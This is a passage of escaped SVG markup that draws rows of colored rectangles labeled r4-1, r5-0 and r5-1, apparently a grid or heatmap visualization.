style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"128.75\"></rect><g transform=\"translate(127.0,147.340625)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r4-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"141.64374999999998\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"141.64374999999998\"></rect><g transform=\"translate(127.0,160.234375)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r5-0</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"154.5375\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"154.5375\"></rect><g transform=\"translate(127.0,173.128125)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r5-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"167.43125\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" 